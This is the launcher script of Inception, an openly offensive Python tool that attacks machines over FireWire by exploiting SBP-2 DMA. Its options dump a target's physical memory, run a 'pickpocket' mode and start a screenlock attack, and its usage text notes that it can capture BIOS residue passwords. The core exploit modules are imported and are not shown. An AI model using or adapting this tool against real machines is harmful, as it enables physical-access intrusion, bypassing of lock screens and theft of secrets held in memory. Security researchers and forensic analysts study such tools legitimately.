#!/usr/bin/python3
'''
Created on Oct 15, 2011

@author: Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy <n@tropy.org>
'''


from inception import screenlock, memdump, pickpocket
from inception.firewire import FireWire
from inception.util import msg, fail, separator
import getopt
import inception.settings as settings
import os
import sys
import traceback


def main(argv):
    settings.encoding = sys.getdefaultencoding()
    
    # Print banner
    print('''
Inception v.0.0.7
by Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy <n@tropy.org> 2012
Twitter: @breaknenter Web: http://breaknenter.org

For updates, visit/clone https://github.com/carmaa/inception or visit the
Inception homepage at http://breaknenter.org/projects/inception
''')
    
    # Initialize
    targets = settings.targets
    
    # Parse args
    try:
        opts, args = getopt.getopt(argv, 
                                   'bd:Df:hlvt:w:nop', 
                                   ['businfo', 'dump=', 'dump-all', 'file=', 'help', 'list'  'verbose', 
                                    'technique=', 'wait=', 'no-write', 'override',
                                    'pickpocket'])
    except getopt.GetoptError as err:
        msg('!', err)
        usage(argv[0])
        sys.exit(2)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            usage(argv[0])
            sys.exit()
        elif opt in ('-f', '--file'):
            settings.filemode = True
            settings.filename = str(arg)
        elif opt in ('-l', '--list'):
            msg('*', 'Available targets (from settings.py):')
            separator()
            for n, target in enumerate(targets, 1):
                msg(n, target['OS'] + ': ' + target['name'])
            separator()
            sys.exit()
        elif opt in ('-v', '--verbose'):
            settings.verbose = True
        elif opt in ('-target', '--technique'):
            # TODO
            # settings.target = unlock.select_target(ctx.config, int(arg))
            fail("Option not implemented yet, sorry")
        elif opt in ('-w', '--wait'):
            settings.fw_delay = int(arg)
        elif opt in ('-n', '--no-write'):
            settings.dry_run = True
        elif opt in ('-D', '--dump-all'):
            settings.memdump = True
        elif opt in ('-d', '--dump'):
            settings.memdump = True
            try:
                start, size = str(arg).split(',')
                # Fix start
                if '0x' in start:
                    start = int(start, 0) & 0xfffff000 # Address
                else:
                    start = int(start) * settings.PAGESIZE # Page number
                settings.dumpstart = start
                # Fix size
                size = size.lower()
                if size.find('kib') != -1 or size.find('kb') != -1:
                    size = int(size.rstrip(' kib')) * settings.KiB
                elif size.find('mib') != -1 or size.find('mb') != -1:
                    size = int(size.rstrip(' mib')) * settings.MiB
                elif size.find('gib') != -1 or size.find('gb') != -1:
                    size = int(size.rstrip(' gib')) * settings.GiB
                else:
                    size = int(size) * settings.PAGESIZE
                if size < settings.PAGESIZE:
                    msg('!', 'Minimum dump size is a page, {0} KiB'.format(settings.PAGESIZE // settings.KiB))
                settings.dumpsize = size
            except:
                fail('Could not parse argument to {0}'.format(opt))
        elif opt in ('-i', '--interactive'):
            settings.interactive = True
            # TODO: Implement interactive mode
            fail("Option not implemented yet, sorry")
        elif opt in ('-b', '--businfo'):
            fw = FireWire()
            fw.businfo()
            sys.exit()
        elif opt in ('-o', '--override'):
            settings.override = True
        elif opt in ('-p' '--pickpocket'):
            settings.pickpocket = True
        else:
            assert False, 'Option not handled: ' + opt
    
    # We don't accept any args
    if args:
        msg('!', 'Arguments {0} ignored'.format(', '.join(args)))
    
    if not settings.filemode and not os.geteuid() == 0:
        fail("You must be root to run Inception with FireWire input")

    try:
        if settings.memdump:
            memdump.dump()
        if settings.pickpocket:
            pickpocket.lurk()
        else:
            address, page = screenlock.attack(targets)
            if not address and page:
                fail('Could not locate signature(s).')
    except Exception as exc:
        msg('!', 'Um, something went wrong: {0}'.format(exc))
        separator()
        traceback.print_exc()
        separator()
    except KeyboardInterrupt:
        msg('!', 'Aborted.')
        
def usage(execname):
    print('''Usage: ''' + execname + ''' [OPTIONS]

Attack machines over the IEEE1394 interface by exploiting SBP-2 DMA.

    -d, --dump=ADDR,PAGES Non-intrusive memory dump. Dumps PAGES of memory
                          content from ADDR page. Memory content is dumped to 
                          files with the file name syntax:
                          'memdump_START-END.bin'. ADDR can be a page number or 
                          a hexadecimal address within a page. PAGES can be a
                          number of pages or a size of data using the
                          denomination KiB, MiB or GiB. Example: -d 0x00ff 5MiB
                          This command dumps the first 5 MiB of memory
    -D                    Same as above, but dumps all available memory
    -f, --file=FILE:      Use a file instead of FireWire bus data as input; for
                          example to facilitate attacks on VMware machines or
                          to ease testing and signature generation efforts
    -h, --help:           Displays this message
    -l, --list:           Lists available operating system targets
    -n, --no-write:       Dry run, do not write back to memory
    -o, --override:       Override access of upper memory area (0xa0000-
                          0xfffff). This area is accessed by default. Use this
                          if you are afraid of causing a system crash (usually
                          not a problem these days). Enabling this setting
                          will prevent you from capturing BIOS residue passwords
    -t TARGET, --technique=TARGET:
                          Specify target operating system (use --list to list 
                          available targets)
    -v, --verbose:        Verbose mode - among other things, this prints read 
                          data to stdout, useful for debugging
    -wait, --wait=TIME:   Delay attack by TIME seconds. This is useful in order
                          to guarantee that the target machine has successfully
                          granted the host DMA before attacking. If the
                          attack fails, try to increase this value. Default
                          delay is 15 seconds.''')
    

if __name__ == '__main__':
    main(sys.argv[1:])